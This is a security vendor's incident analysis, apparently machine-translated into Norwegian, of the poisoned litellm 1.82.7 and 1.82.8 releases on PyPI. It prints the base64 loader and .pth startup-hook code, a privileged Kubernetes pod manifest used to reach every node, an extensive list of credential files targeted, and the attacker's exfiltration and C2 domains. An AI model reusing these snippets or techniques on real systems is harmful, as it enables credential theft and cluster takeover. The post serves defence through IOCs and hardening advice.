Hvorfor dette Matters
24. mars 2026 ble den populære Python-pakken lansert liten, en universell LLM-proxygateway som brukes av tusenvis av enterprises for å rute trafikk mellom applikasjoner og AI-leverandører som OpenAI, Anthropic, Google og AWS Bedrock, ble stille kompromittert på PyPI. To forgiftede versjoner (1.82.7 og 1.82.8) ble publisert innen 13 minutter etter hverandre, og hadde en flertrinns nyttelast som stjal legitimasjon, eksfiltrerte skyhemmeligheter, spredte seg lateralt over Kubernetes-klynger og installerte en vedvarende bakdør med muligheter for ekstern kodekjøring.
Med omtrentlig 3.6 millioner nedlastinger daglig og dyp distribusjon på tvers av skybasert AI-infrastruktur, ligger litellm i krysningspunktet for alt moderne angripere begjærer: API-nøkler for alle større AI-leverandører, IAM-legitimasjon i skyen, Kubernetes-hemmeligheter og SSH-nøkler.
Men Litellm-kompromisset var ikke en isolert hendelse. Det var kulminasjonen av en fem dager lang kampanje med fem økosystemer av en trusselaktør kjent som TeamPCP, en kampanje som først forgiftet sikkerhetsskannere (Aqua Trivy, Checkmarx KICS), og deretter brukte de stjålne CI/CD legitimasjon for å kaskadere nedstrøms til npm, OpenVSX og til slutt PyPI. Angriperne utnyttet de samme verktøyene som organisasjoner er avhengige av for å beskytte forsyningskjedene sine.
Dette angrepet representerer et stort skifte i sofistikeringen av trusler i forsyningskjeden. Multi-hop-designet på tvers av økosystemer, som kompromitterer sikkerhetsverktøy for å oppnå høy verdi AI-infrastruktur, gjenspeiler et nivå av planlegging og operasjonell modenhet som er i samsvar med stadig mer kommersialiserte angrepsverktøy. Nyttelastene ble iterert i sanntid (tre nyttelastvarianter vises i kildekoden, inkludert kommenterte tidligere versjoner), C2-infrastrukturen ble registrert dagen før angrepet, og eksfiltreringsdomenene ble nøye valgt for å etterligne legitim leverandørinfrastruktur. Den systematisk omfattende legitimasjonsinnhøsteren, som dekker 15+ kategorier, inkludert nisjemål som Cardano-signeringsnøkler og WireGuard-konfigurasjoner, antyder en grad av grundighet som peker mot AI-assistert malware-utvikling som en kraftmultiplikator.
Tidslinje
| Dato (UTC) | Event |
|---|---|
| mars 19 | TeamPCP kompromitterer Aqua Trivy GitHub Action-tagger og erstatter dem med ondsinnet kode som eksfiltrerer CI/CD hemmeligheter fra nedstrøms repositorier |
| mars 21 | Kompromiss gjelder også Checkmarx KICS og AST GitHub Actions ved bruk av lignende teknikker. |
| 22. mars, 06:35 | BerriAI publiserer litellm 1.82.6 (siste rene versjon) via normal CI/CD pipeline som bruker Trivy for sikkerhetsskanning |
| mars 23 | TeamPCP registrerer models.litellm.cloud (eksfiltreringsdomene). Kompromitterer 66+ npm-pakker og OpenVSX-utvidelser |
| 24. mars, 10:39 | litellm 1.82.7 publisert til PyPI -- nyttelast injisert i proxy_server.py ved modulens omfang. Utføres ved import |
| 24. mars, 10:52 | litellm 1.82.8 publisert 13 minutter senere -- legger til litellm_init.pth, en Python-stikonfigurasjonskrok som kjøres ved hver oppstart av Python-tolker, ikke bare Litellm-importer. Viser rask iterasjon av nyttelasten. |
| 24. mars, ~16:00 | PyPI fjerner begge versjonene etter fellesskapsrapporter. Versjoner slettes fullstendig (ikke fjernes) fra indeksen, men CDN-tarballer forblir tilgjengelige. |
Eksponeringsvindu: omtrent 5.5 timer. I løpet av denne tiden, enhver pip install litellm, pip install --upgrade litellm, eller CI/CD pipeline Å hente den nyeste versjonen ville ha utført nyttelasten.
Hvordan skadevaren kom inn: Kaskaden av kompromisset
Litellm-pakken ble ikke direkte hacket. Angriperen nådde den gjennom en to-hopps forsyningskjedeangrep:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM-er CI/CD pipeline brukte Trivy som en sikkerhetsskanner – selve verktøyet som var designet for å fange opp sårbarheter var selve angrepsvektoren. Fordi pipeline refererte til Trivy med en muterbar tag i stedet for en festet tag commit SHA, den kompromitterte handlingen kjørte automatisk. Den ondsinnede Trivy-handlingen eksfiltrerte miljøhemmeligheter, inkludert PYPI_PUBLISH token, som gir TeamPCP direkte publiseringstilgang til litellm PyPI-prosjektet.
Denne strategien med å «kompromittere vaktene» er et kjennetegn ved TeamPCP-kampanjen. Ved å målrette sikkerhetsverktøy først (Trivy, Checkmarx KICS), deaktiverte angriperne samtidig deteksjon og fikk privilegert tilgang til nedstrøms forsyningskjeder.
Teknisk analyse: Nyttelasten
Injeksjonspunkter
versjon 1.82.7 — Utførelse på modulnivå i litellm/proxy/proxy_server.py (linje 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p])Denne koden ligger i modulomfanget mellom en ordboksliteral og originalen showwarning() funksjon. Den kjøres umiddelbart når litellm.proxy.proxy_server importeres – noe som skjer ved enhver bruk av Litellms proxy-funksjonalitet.
versjon 1.82.8 - La til litellm_init.pth (Python-stikonfigurasjonsfil):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth filer i site-packages/ behandles ved hver oppstart av tolken, men bare linjer som begynner med import kjøres som kode. Angriperen utnytter dette ved å lenke hele nyttelasten til en enkelt import uttalelse: import os, subprocess, sys; subprocess.Popen(...)Dette er langt mer aggressivt enn proxy_server.py-injeksjonen – den utløses selv om litellm aldri importeres, ved hver Python-prosessoppstart. pyproject.toml ble endret for å inkludere denne filen i distribusjonen:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]Versjon 1.82.8 har dermed to uavhengige utførelsesbaner: proxy_server.py-injeksjonen (utløses ved import av litellm-proxy) og .pth-filen (utløses ved enhver Python-oppstart). Redundansen er i seg selv bemerkelsesverdig – den sikrer mot deteksjon eller fjerning av begge banene alene. Eskaleringen fra importtidspunkt til oppstartstidspunkt bare 13 minutter etter 1.82.7 antyder at angriperen overvåket utrullingssuksessen og itererte raskt.
Fase 1: Omfattende innsamling av legitimasjonsbevis
Det dekodede indre skriptet er et nitidig akkrediteringsvakuum. Det bruker os.walk(), glob.glob(), subprocess.check_output(), og direkte fillesninger for å gjennomsøke hele systemet:
| Kategori | Targets |
|---|---|
| Systemrekognosering | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; vertsnøkler fra /etc/ssh/ |
| Sky (AWS) | ~/.aws/credentials, ~/.aws/configIMDS-rollelegitimasjon via 169.254.169.254Hemmelighetssjef ListSecretsSSM DescribeParameters |
| Sky (GCP) | ~/.config/gcloud/ (rekursiv); $GOOGLE_APPLICATION_CREDENTIALS |
| Sky (Azure) | ~/.azure/ (rekursiv); miljøvariabler |
| Kubernetes | Tjenestekontotokener; ca.crt; navnerom; kubectl get secrets --all-namespacesalle hemmeligheter via K8s API |
| Miljøfiler | .env, .env.local, .env.production, .env.development, .env.staging — søkte rekursivt (dybde 6) på tvers /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Pakketokener | ~/.npmrc, ~/.vault-token, ~/.netrc |
| databaser | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB-konfigurasjoner |
| TLS / SSL | Private nøkler fra /etc/ssl/private/La oss kryptere sertifikater, alle .pem/.key/.p12/.pfx filer |
| gå | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Krypto lommebøker | Bitcoin, Ethereum-nøkkellager, Solana-nøkkelpar (validator, stemme, stake, faucet), Cardano-signeringsnøkler, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Shell-historie | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Systemautorisasjon | /etc/passwd, /etc/shadow, autentiseringslogger (godkjente SSH-økter) |
| Webhook/API-nøkler | Grep for Slack-netthooks, Discord-netthooks, API-nøkler/hemmeligheter i konfigurasjonsfiler |
| VPN | WireGuard-konfigurasjoner fra /etc/wireguard/ |
Omfanget av denne innhøstingstjenesten er encyklopedisk. Den retter seg ikke bare mot skylegitimasjon, men også kryptovaluta-lommebøker, databasepassord, VPN-konfigurasjoner og ... CI/CD hemmeligheter – som antyder at angriperen har til hensikt å tjene penger på kompromitterte systemer på tvers av flere vektorer.
Trinn 2: Kryptert eksfiltrering
Stjålne data krypteres og eksfiltreres ved hjelp av en hybrid krypteringsordning:
- AES-256-CBC kryptering av alle innsamlede data med en tilfeldig 32-byte sesjonsnøkkel (via
openssl enc) - RSA-4096 kryptering av øktnøkkelen ved hjelp av angriperens innebygde offentlige nøkkel (OAEP-polstring, via
openssl pkeyutl) - Begge krypterte tekstfiler samlet som
tpcp.tar.gz(Dentpcpprefiks – «TeamPCP» – vises konsekvent i hele kampanjen) - HTTPS-innlegg til
https://models.litellm.cloud/medContent-Type: application/octet-stream
Domenet models.litellm.cloud ble registrert 23. mars – én dag før angrepet – og er designet for å blandes med legitim litellm-infrastruktur (det virkelige prosjektet bruker litellm.aiSelv en nettverksbevisst forsvarer som gjennomgår utgående trafikk, flagger kanskje ikke trafikk til det som ser ut til å være Litellms eget modellendepunkt.
Fase 3: Vedvarende bakdør (sysmon.py)
Nyttelasten installerer en polling-bakdør forkledd som systemtelemetri:
- Sti:
~/.config/sysmon/sysmon.py - Service:
sysmon.service(systemd-brukerenhet, beskrevet som «Systemtelemetritjeneste») - BehaviorEtter en innledende søvn på 300 sekunder, meningsmålinger
https://checkmarx.zone/rawhvert ~50. minutt - GjennomføringLaster ned URL-en som returneres av C2 til
/tmp/pglog, setter den til kjørbar (chmod 755), kjører den i en frakoblet økt - Sporing av stat:
/tmp/.pg_stateforhindrer nedlasting av samme nyttelast på nytt - Utholdenhet:
Restart=always,RestartSec=10— overlever krasj og omstart
Domenet checkmarx.zone er en typosquat av Checkmarx (sikkerhetsselskapet hos checkmarx.com), utformet slik at SOC-analytikere som gjennomgår nettverkslogger, ville se trafikk til det som ser ut til å være en legitim sikkerhetsleverandør. Dette er en bevisst unnvikelsesteknikk som er i samsvar med TeamPCPs bredere strategi om å gjemme seg bak merkevarebygging for sikkerhetsleverandører.
Fase 3b: Kubernetes lateral bevegelse
Hvis det kompromitterte systemet har Kubernetes-tjenestekontolegitimasjon, lister skadevaren opp alle klyngenoder og distribuerer privilegerte pods til hver enkelt:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } }Hver pod:
- Kjører som privilegert med
hostPID,hostNetworkog full tilgang til vertsfilsystemet - Bruker
chroot /hostå installere det sammesysmon.pybakdør på vertens rotfilsystem - Registrerer den som en systemd-tjeneste, og sikrer at persistens overlever pod-sletting
- oppkalt
node-setup-*ikube-systemnavneområdet skal vises som legitim klyngeinfrastruktur
Dette betyr en enkelt kompromittert CI/CD Runner med K8s-tilgang kan føre til at alle noder i klyngen blir bakdøret — et katastrofalt scenario med sideveis bevegelse for organisasjoner som kjører litellm som en proxy i Kubernetes.
Nyttelastutvikling (kommenterte varianter)
Kildekoden på linje 131–132 inneholder to kommenterte tidligere nyttelastvarianter, som avslører angriperens utviklingsprosess:
- Alle tre variantene dele den samme eksfiltreringsinfrastrukturen (
models.litellm.cloud), RSA-4096 offentlig nøkkel, AES-256-CBC + RSA hybrid krypteringsinnpakning, ogtpcp.tar.gznavngiving av pakker - Tidligere varianter la til en RC4-krypteringslag inne i datainnsamlingsskriptet, krypterer innsamlede data før den ytre AES+RSA-omslaget. Den aktive nyttelasten (linje 130) forenkles ved å fjerne dette indre RC4-laget
- De tidligere variantene bruker
exec()medStringIOcapture for å kjøre samleren i prosessen, mens den aktive nyttelasten brukersubprocess.run()med stdout-omdirigering — en renere separasjon som unngår å forurense vertsprosessen - Alle tre variantene er rettet mot de samme legitimasjonskategoriene og innsamlingsstiene
- RC4-nøkkelen i de tidligere variantene var en provoserende fornærmelse, i samsvar med skuespillerens oppmerksomhetssøkende oppførsel på Telegram.
Dette avslører aktiv utvikling under operasjonen. Angriperen forenklet krypteringsstakken og forbedret utførelsesisoleringen samtidig som innsamlingsmålene og eksfiltreringsinfrastrukturen ble holdt stabil.
Indikatorer for kompromiss (IOC-er)
Network
| Indikator | typen | Formål |
|---|---|---|
models.litellm.cloud | Domene | Eksfiltrasjonsendepunkt (HTTPS POST) |
checkmarx.zone | Domene | C2-avstemningsendepunkt (HTTPS GET /raw) |
Merk: Eksterne rapporteringslenker checkmarx.zone/static/checkmarx-util-1.0.4.tgz til den tidligere KICS-fasen av TeamPCP-kampanjen. Denne URL-en ble ikke funnet i litellm-nyttelastene som er analysert her.
Pakke-hasher
| filet | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Indikator | typen | Formål |
|---|---|---|
~/.config/sysmon/sysmon.py | filet | Vedvarende bakdørskript |
~/.config/systemd/user/sysmon.service | filet | Systemd-persistensenhet |
/tmp/pglog | filet | Lastet ned binærfil i andre trinn |
/tmp/.pg_state | filet | C2-tilstandssporing |
litellm_init.pth in site-packages/ | filet | Python oppstartshook (kun v1.82.8) |
tpcp.tar.gz | filet | Kryptert eksfiltreringspakke |
Kubernetes
| Indikator | typen | Formål |
|---|---|---|
node-setup-* kapsler i kube-system | Pod | Privilegerte laterale bevegelsespoder |
sysmon.service på klyngenoder | Service | Vertsnivåpersistens via pod escape |
kryptografisk
| Indikator | Detaljer |
|---|---|
| Angriperens offentlige nøkkel RSA-4096 | SHA256 fingeravtrykk: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Innebygd i alle tre nyttelastvarianter; samme nøkkel rapportert på tvers av andre TeamPCP-operasjoner |
tpcp prefiks i artefakter | Navnekonvensjon for pakker (tpcp.tar.gz) konsistent gjennom hele kampanjen |
Attribusjon: TeamPCP
Trusselaktøren bak denne kampanjen spores som TeamPCP, også kjent som PCPcat, Persy_PCP, ShellForce og DeadCatx3.
Kjente egenskaper:
- Vedlikeholder Telegram-kanaler på
@Persy_PCPog@teampcpder de hånet sikkerhetsselskaper - Fungerer på tvers av flere økosystemer (GitHub Actions, PyPI, npm, OpenVSX)
- Bruker leverandørspesifikke typosquat-domener for hver fase av kampanjen (f.eks.
checkmarx.zonefor Checkmarx,models.litellm.cloudfor litellm) - Konsekvente infrastrukturmarkører: samme RSA-nøkkelpar,
tpcp.tar.gznavnekonvensjon,tpcp-docs-*GitHub-repositorier brukt som dead-drop-staging - Retter seg mot sikkerhetsverktøy som inngangspunkter til nedstrøms forsyningskjeder
AttribusjonssikkerhetHøy. Den delte RSA-offentlige nøkkelen, tpcp Navngivning av artefakter, overlapping av C2-infrastruktur og operasjonelt tempo i løpet av den fem dager lange kampanjen knytter Trivy-, KICS-, npm-, OpenVSX- og litellm-kompromissene sterkt til samme aktør.
MotivasjonSannsynlig økonomisk (tyveri av kryptolommebok, inntektsgenerering fra skybasert legitimasjon) kombinert med berømmelse (Telegram-erting). Bredden av innsamling av legitimasjon – fra AWS IAM til Solana-valideringsnøkkelpar til WireGuard-konfigurasjoner – antyder en økonomisk motivert aktør som søker å maksimere avkastningen på hvert kompromiss.
Mulig AI-hjelpLegitimasjonsinnhøsteren er systematisk omfattende – over 15 kategorier, inkludert nisjemål som Cardano-signeringsnøkler, WireGuard-konfigurasjoner og Kaniko Docker-legitimasjon – på en måte som er i samsvar med AI-assistert opplisting. Hastigheten på nyttelast-iterasjon (tre varianter med forskjellige krypteringsordninger), koordinering på tvers av økosystemer (5 økosystemer på 5 dager) og operativ OPSEC (leverandør-imiterende domener, hybrid kryptering, systemd-persistens forkledd som telemetri) antyder et gjennomstrømningsnivå som kan gjenspeile AI-assistert utvikling som en kraftmultiplikator. Denne vurderingen er spekulativ; dyktige operatører kan oppnå lignende omfang uten AI-verktøy.
Nye TTP-er og teknikker
1. Forgiftning av forsyningskjeden i sikkerhetsverktøy (variant T1195.002)
Å kompromittere sikkerhetsskannere (Trivy, KICS) som et første steg for å nå nedstrømsmål er en ny eskalering. Angriperen kompromitterte ikke bare et bibliotek – de kompromitterte verktøyene organisasjoner bruker til å oppdage kompromitterte biblioteker. Dette skaper en blindsone: skanneren som skal fange opp den ondsinnede koden er selv leveringsmekanismen.
2. Python .pth Filpersistens (T1546)
Ocuco litellm_init.pth Teknikken i v1.82.8 er spesielt lumsk. Python .pth filer i site-packages/ behandles ved hver oppstart av tolken; alle linjer som begynner med import utføres som kode. Ved å lenke nyttelasten til en enkelt import setning, oppnår angriperen utførelse på alle Python-prosesser – ikke bare når litellm importeres. Dette betyr at nyttelasten utløses selv om litellm er installert, men aldri brukt, og den overlever utbedring som erstatter kompromitterte .py filer uten å sjekke etter .pth filer.
3. Kubernetes klyngeomfattende lateral bevegelse via privilegert pod-distribusjon (T1610, T1611)
Automatisert oppretting av privilegerte poder på hver klyngenode – med hostPID, hostNetwork, montering av vertsfilsystem, og chroot å installere persistens — kjeder containerdistribusjon (T1610) med escape til vert (T1611) for å gjøre en enkelt kompromittert arbeidsmengde om til fullstendig klyngekompromittering.
4. Leverandørutgivende C2-infrastruktur
Ved hjelp av models.litellm.cloud (etterligner litellm) og checkmarx.zone (etterligner Checkmarx) som C2/exfil-endepunkter er utformet for å unngå nettverksovervåking. SOC-analytikere som gjennomgår utgående trafikk, ville se HTTPS-tilkoblinger til det som ser ut til å være legitime leverandørdomener.
5. Rask iterasjon av nyttelast under flyvning
Publisering av v1.82.7 med utførelse ved importtid, deretter v1.82.8 med utførelse ved oppstart 13 minutter senere, viser angriperen overvåker og tilpasser seg i sanntid. De kommenterte nyttelastvariantene (med forskjellige krypteringsskjemaer) som er bevart i kildekoden bekrefter aktiv utvikling under operasjonen.
Hva kan bli gjort
Dette angrepet utnytter tillit på alle lag: tillit til sikkerhetsverktøy, tillit til pakkeregistre, tillit til kjente domener, tillit til CI/CD automatisering. Å forsvare seg mot det krever at man herder hver av disse tillitsgrensene:
For pakkeforbrukere
- Fest avhengigheter etter hash, ikke bare versjon.
pip install litellm==1.82.6 --hash=sha256:...ville ha forhindret at de kompromitterte versjonene ble installert, selv om de kortvarig dukket opp som den nyeste versjonen. - Bruk låsefiler.
pip-compile,poetry.lockoguv.lockfange opp eksakte versjoner og hasher. CI/CD bør installeres fra låsefiler, ikke fra flytende versjonsspesifikatorer. - Overvåk for
.pthfiler. Regelmessig revisjonsite-packages/for uventet.pthfiler – de kjøres ved hver Python-oppstart og er en undervurdert persistensmekanisme. - Implementer kontroller for utgående nettverk. Utfiltreringen til
models.litellm.cloudog C2-avstemning tilcheckmarx.zonekunne ha blitt fanget opp av tillatelseslistebasert utgående filtrering i produksjonsmiljøer.
For pakkevedlikeholdere
- pin CI/CD handlinger av commit SHA, ikke tagg. LiteLLM-er pipeline brukte Trivy uten en festet versjon. Hvis den hadde referert til
aquasecurity/trivy-action@<commit-sha>istedenfor@latest, ville den kompromitterte handlingen ikke ha blitt utført. - Bruk publiseringstokener med kort levetid og begrenset omfang. PyPI støtter Trusted Publishers (OIDC-baserte) og scoped API-tokens. De eksfiltrerte
PYPI_PUBLISHTokenet skulle ikke ha hatt langvarig, ubegrenset publiseringstilgang. - Aktiver tofaktorautentisering på PyPI. Krev 2FA for alle vedlikeholdere og bruk maskinvaresikkerhetsnøkler der det er mulig.
- Signer pakker. Sigstore/PEP 740-attesteringer lar forbrukere bekrefte at en pakke ble bygget i henhold til forventet standard. CI/CD pipeline, ikke av en angriper med en stjålet token.
For plattformoperatører (PyPI, npm, GitHub)
- Oppdag uregelmessige publiseringsmønstre. To nye versjoner publisert med 13 minutter mellomrom, fra en annen IP-adresse eller token enn vanlig, bør utløse ventetid for gjennomgang eller automatisk skanning før pakken blir installerbar.
- Få fart på adopsjonen av pålitelige utgivere. OIDC-basert publisering knytter pakker til spesifikke repositorier og arbeidsflyter, noe som gjør stjålne tokener ubrukelige utenfor originalen. CI/CD kontekst.
- Implementer skanning etter skadelig programvare ved publisering. Den base64-dekodede nyttelasten i proxy_server.py ville kunne oppdages ved statisk analyse ved publiseringstidspunktet.
For økosystemet
- Behandle sikkerhetsverktøy som kritisk infrastruktur. Trivy og Checkmarx KICS brukes av millioner av pipelines. GitHub-handlingene deres bør signeres, festes og overvåkes med samme strenghet som pakkene de skanner.
- Invester i runtime-deteksjon. Statisk analyse alene kan ikke fange opp alle obfuskasjonsteknikker. Kjøretidsovervåking av pakkeinstallasjon hooks, uventede nettverkstilkoblinger og mistenkelige filtilgangsmønstre gir dyptgående forsvar.
- Del trusselinformasjon raskere. Eksponeringsvinduet på 5.5 timer for litellm kunne vært kortere med raskere koordinering på tvers av leverandører. Automatiserte skannetjenester som Xygeni MEW, Socket og Snyk oppdaget avviket – flaskehalsen er menneskelig bekreftelse og responstid i registeret.
Konklusjon
TeamPCP-kampanjen er et vendepunkt for software supply chain securityVed å kompromittere sikkerhetsskannere først og bruke dem som springbrett til verdifull AI-infrastruktur, demonstrerte angriperne at forsyningskjeden bare er så sterk som dens svakeste transitive avhengighet, og at den avhengigheten kan være sikkerhetsverktøyet du stoler på for å holde deg trygg.
Litellm-kompromisset fremhever spesifikt den økende risikoen for AI-infrastruktur. Etter hvert som LLM-proxy-gatewayer blir den standard mønster for enterprise Ved utrulling av AI konsentrerer de tilgangen til API-nøkler, skylegitimasjon og sensitive data i én enkelt komponent. Å kompromittere denne komponenten er en skjelettnøkkel til hele AI-stakken.
Organisasjoner som installerte litellm 1.82.7 eller 1.82.8 i løpet av 5.5-timersvinduet, bør behandle dette som et fullstendig legitimasjonskompromittering: roter alle hemmeligheter på berørte systemer, revider Kubernetes-klynger for node-setup-* kapsler i kube-system, fjern eventuelle sysmon.service systemd-enheter, og sjekk for litellm_init.pth i Python site-packages/ kataloger. Brukere av det offisielle Docker-bildet (ghcr.io/berriai/litellm) ble ikke påvirket, ettersom bildet festet avhengighetene sine og ikke ble gjenoppbygd i løpet av eksponeringsvinduet.
om forfatteren
Medstifter og CTO
Luis Rodriguez er medgründer og teknisk direktør i Xygeni Security. Med over 20 års erfaring innen applikasjonssikkerhet fokuserer han på AppSec-beskyttelse og avanserte kodeanalysefunksjoner som hjelper team med å redusere reell leveringsrisiko.
